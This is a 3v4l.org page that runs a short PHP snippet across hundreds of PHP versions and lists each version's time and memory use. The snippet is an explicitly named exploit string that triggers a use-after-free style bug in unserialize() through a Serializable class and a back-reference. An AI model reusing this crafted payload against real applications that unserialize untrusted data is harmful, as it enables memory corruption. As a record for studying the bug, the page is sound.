3v4l.org

run code in 300+ PHP versions simultaneously
<?php class obj implements Serializable { private $data; public function serialize() { return serialize($this->data); } public function unserialize($data) { $this->data = unserialize($data); $this->data = 1; } } $inner = 'a:0:{}'; $exploit = 'a:2:{i:0;C:3:"obj":' . strlen($inner) . ':{' . $inner . '}i:1;R:3;}'; $data = unserialize($exploit); for ($i = 0; $i < 5; $i++) { $v[$i] = 'hi' . $i; } var_dump($data);

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0110.00616.63
8.3.50.0140.00718.18
8.3.40.0100.01018.75
8.3.30.0060.00918.83
8.3.20.0000.00820.34
8.3.10.0050.00323.66
8.3.00.0040.00419.38
8.2.180.0120.00918.29
8.2.170.0070.01022.96
8.2.160.0110.00320.39
8.2.150.0050.00324.18
8.2.140.0080.00024.66
8.2.130.0040.00426.16
8.2.120.0080.00026.16
8.2.110.0040.00421.13
8.2.100.0060.00618.03
8.2.90.0030.00617.88
8.2.80.0030.00618.73
8.2.70.0050.00317.93
8.2.60.0000.00718.19
8.2.50.0000.01019.25
8.2.40.0050.00319.16
8.2.30.0040.00420.57
8.2.20.0000.00817.63
8.2.10.0040.00419.82
8.2.00.0030.00618.14
8.1.280.0040.01425.92
8.1.270.0060.00323.97
8.1.260.0040.00426.35
8.1.250.0000.00728.09
8.1.240.0090.00019.06
8.1.230.0040.00817.95
8.1.220.0040.00417.78
8.1.210.0050.00318.77
8.1.200.0060.00617.35
8.1.190.0080.00017.23
8.1.180.0040.00419.09
8.1.170.0080.00018.70
8.1.160.0000.00822.03
8.1.150.0040.00418.89
8.1.140.0040.00419.53
8.1.130.0000.00717.63
8.1.120.0070.00017.50
8.1.110.0040.00417.42
8.1.100.0000.00817.45
8.1.90.0000.00717.42
8.1.80.0030.00517.49
8.1.70.0040.00417.35
8.1.60.0000.00817.61
8.1.50.0000.00917.57
8.1.40.0040.00417.46
8.1.30.0040.00417.51
8.1.20.0040.00417.66
8.1.10.0000.00717.58
8.1.00.0040.00417.45
8.0.300.0040.00418.77
8.0.290.0000.00716.88
8.0.280.0000.00718.47
8.0.270.0030.00317.18
8.0.260.0030.00317.24
8.0.250.0050.00317.02
8.0.240.0040.00416.90
8.0.230.0040.00416.88
8.0.220.0030.00317.00
8.0.210.0000.00716.94
8.0.200.0000.00617.02
8.0.190.0030.00616.98
8.0.180.0040.00416.96
8.0.170.0000.00816.96
8.0.160.0070.00016.82
8.0.150.0040.00416.87
8.0.140.0030.00316.81
8.0.130.0050.00013.39
8.0.120.0080.00016.83
8.0.110.0000.00716.87
8.0.100.0030.00516.95
8.0.90.0000.00716.86
8.0.80.0060.01517.01
8.0.70.0040.00417.03
8.0.60.0000.00717.01
8.0.50.0090.00016.91
8.0.30.0100.01217.20
8.0.20.0100.00817.40
8.0.10.0040.00416.98
8.0.00.0060.01116.70
7.4.330.0050.00015.08
7.4.320.0000.00616.66
7.4.300.0040.00416.52
7.4.290.0030.00316.57
7.4.280.0070.00016.59
7.4.270.0070.00016.53
7.4.260.0040.00416.55
7.4.250.0070.00016.49
7.4.240.0000.00716.57
7.4.230.0030.00316.64
7.4.220.0120.00616.50
7.4.210.0070.00916.56
7.4.200.0040.00416.52
7.4.160.0110.00616.55
7.4.150.0060.01217.40
7.4.140.0110.01117.86
7.4.130.0140.00516.52
7.4.120.0110.00816.70
7.4.110.0100.00916.62
7.4.100.0080.00816.37
7.4.90.0130.00716.55
7.4.80.0080.00819.39
7.4.70.0070.01016.30
7.4.60.0080.00816.54
7.4.50.0060.00016.59
7.4.40.0080.00816.40
7.4.30.0090.00816.34
7.4.00.0120.00415.02
7.3.330.0020.00413.24
7.3.320.0030.00313.20
7.3.310.0040.00416.48
7.3.300.0050.00216.43
7.3.290.0000.00616.24
7.3.280.0110.00716.34
7.3.270.0190.00517.40
7.3.260.0080.01216.60
7.3.250.0090.00916.47
7.3.240.0130.00616.54
7.3.230.0100.00716.39
7.3.210.0080.00816.30
7.3.200.0110.00616.50
7.3.190.0080.00816.48
7.3.180.0090.01216.66
7.3.170.0080.00916.47
7.3.160.0030.01316.41
7.2.330.0090.00916.68
7.2.320.0130.01016.63
7.2.310.0030.01316.70
7.2.300.0070.01516.73
7.2.290.0180.00016.50
7.2.60.0000.01517.02
7.2.00.0000.01319.12
7.1.200.0140.00915.45
7.1.100.0000.01118.38
7.1.70.0000.00917.11
7.1.60.0040.01819.48
7.1.50.0100.00734.82
7.1.00.0000.09722.54
7.0.200.0580.00715.02
7.0.90.0100.04719.98
7.0.80.0100.07719.91
7.0.70.0130.07319.88
7.0.60.0070.08319.89
7.0.50.0070.05020.36
7.0.40.0030.04320.10
7.0.30.0030.05320.08
7.0.20.0070.06320.16
7.0.10.0030.05020.14
7.0.00.0100.08320.08
5.6.230.0070.05720.51
5.6.220.0130.05320.50
5.6.210.0070.08020.59
5.6.200.0100.08720.96
5.6.190.0070.08721.07
5.6.180.0070.08020.96
5.6.170.0230.06321.09
5.6.160.0130.07320.96
5.6.150.0100.08721.09
5.6.140.0030.08721.18
5.6.130.0070.08021.04
5.6.120.0030.05321.11
5.6.110.0130.07721.16
5.6.100.0170.06321.04
5.6.90.0100.07020.90
5.6.80.0030.06020.41
5.6.70.0130.06020.45
5.6.60.0030.05020.51
5.6.50.0100.06320.53
5.6.40.0030.08720.37
5.6.30.0070.04320.33
5.6.20.0130.07720.43
5.6.10.0100.08020.38
5.6.00.0030.07720.43
5.5.370.0200.06320.31
5.5.360.0070.05020.54
5.5.350.0070.04020.35
5.5.340.0100.08020.91
5.5.330.0030.08720.74
5.5.320.0100.05020.84
5.5.310.0100.07720.64
5.5.300.0130.07720.91
5.5.290.0100.07720.80
5.5.280.0070.08320.79
5.5.270.0170.07320.85
5.5.260.0030.05320.73
5.5.250.0130.03720.62
5.5.240.0030.05720.18
5.5.230.0030.08720.17
5.5.220.0070.05320.27
5.5.210.0100.07320.22
5.5.200.0030.07020.15
5.5.190.0230.03020.27
5.5.180.0100.05020.11
5.5.160.0130.07020.13
5.5.150.0070.08020.24
5.5.140.0130.05320.27
5.5.130.0100.07020.14
5.5.120.0030.09020.20
5.5.110.0070.08020.27
5.5.100.0070.05320.06
5.5.90.0030.04020.11
5.5.80.0130.06320.16
5.5.70.0100.07720.15
5.5.60.0000.06720.06
5.5.50.0170.06020.16
5.5.40.0170.06720.09
5.5.30.0130.07020.05
5.5.20.0100.04320.15
5.5.10.0170.06720.01
5.5.00.0130.07020.03

preferences:
54.68 ms | 400 KiB | 5 Q